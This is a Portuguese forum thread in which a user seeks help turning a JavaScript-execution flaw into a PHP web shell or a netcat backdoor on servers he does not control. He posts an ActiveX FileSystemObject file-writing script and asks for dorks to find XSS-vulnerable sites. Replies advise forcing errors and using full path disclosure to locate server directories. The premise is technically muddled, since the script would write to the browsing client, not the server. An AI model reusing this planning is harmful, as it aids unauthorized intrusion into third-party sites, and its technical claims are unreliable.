[Ajuda] Ataque via javascript Criar shell ou instalar Backdoor netcat via activex

[leanhils]

Ola pessoal,
estou tentando explorar uma falha que permite execução de JavaScript,
como JavaScript não permite upload, então tive a ideia de usar o ActiveX junto com o IE
com esse script é possível criar um novo arquivo dentro do servidor.

1 Problema

eu preciso saber o endereço físico do servidor para criar o arquivo no diretório do site.
é possivel descobrir esse endereço fisico do servidor?
exemplo
D:server/publichtml/www/site/imagens

Segunda ideia, instalar backdoor no servidor.
não sei como proceder nessa segunda ideia talvez de para criar e instalar o netcat via JavaScript

segue o script

<script>

function WriteFile(){
try 
	{ 
   var fso  = new ActiveXObject("Scripting.FileSystemObject");
   
  
 
   //Observe que sera criado um arquivo com a extensão php 
   var fh = fso.CreateTextFile("\\Arquivos de programas\\VertrigoServ\\www\\lerjs\\topics.php", false);
   fh.WriteLine("Conteudo do arquivo");
   fh.Close();
   
	}

catch(err){
var strErr = 'Error:';
strErr += '\nNumber:' + err.number;
strErr += '\nDescription:' + err.description;
document.write(strErr);
}
}

//chamada da função
 WriteFile();

</script>

OBS:
para rodar é necessário do Internet Explorer, ActiveX e habilitar os modos do activex no IE para que possa rodar corretamente o script.

qualquer informação é de grande ajuda.
obrigado.

[sn3f4]

Eu não entendi bem o que vc está tentando fazer, porém a raiz é possível de ser pega sim na maioria das vezes, tente gerar algum erro em alguma URL do site ou então vasculhar o código fonte das páginas principais, ou se o site for hospedado em um servidor compartilhado vc pode conseguir isso através de outro site do mesmo servidor.

[leanhils]

Estou tentando criar uma shell em php usando o activex.
mas pra isso eu preciso do diretorio fisico do servidor.

a segunda ideia seria criar um exe no desktop e depois executar automaticamente, abrindo as portas do server para o ataque.

[leanhils]

Tem algum dork ou alguma ferramenta para achar sites vull a xss, vou tentar em outros sites, e vou seguir a dica forçar um erro na aplicação para achar o diretório físico

[Vetus]

Ola pessoal,
estou tentando explorar uma falha que permite execução de JavaScript,
como JavaScript não permite upload, então tive a ideia de usar o ActiveX junto com o IE
com esse script é possível criar um novo arquivo dentro do servidor.

1 Problema

eu preciso saber o endereço físico do servidor para criar o arquivo no diretório do site.
é possivel descobrir esse endereço fisico do servidor?
exemplo
D:server/publichtml/www/site/imagens

Segunda ideia, instalar backdoor no servidor.
não sei como proceder nessa segunda ideia talvez de para criar e instalar o netcat via JavaScript

segue o script

<script>

function WriteFile(){
try 
	{ 
   var fso  = new ActiveXObject("Scripting.FileSystemObject");
   
  
 
   //Observe que sera criado um arquivo com a extensão php 
   var fh = fso.CreateTextFile("\\Arquivos de programas\\VertrigoServ\\www\\lerjs\\topics.php", false);
   fh.WriteLine("Conteudo do arquivo");
   fh.Close();
   
	}

catch(err){
var strErr = 'Error:';
strErr += '\nNumber:' + err.number;
strErr += '\nDescription:' + err.description;
document.write(strErr);
}
}

//chamada da função
 WriteFile();

</script>

OBS:
para rodar é necessário do Internet Explorer, ActiveX e habilitar os modos do activex no IE para que possa rodar corretamente o script.

qualquer informação é de grande ajuda.
obrigado.

Veja se você não consegue achar um full path disclosure, fica mais fácil fazer a identificação de diretórios.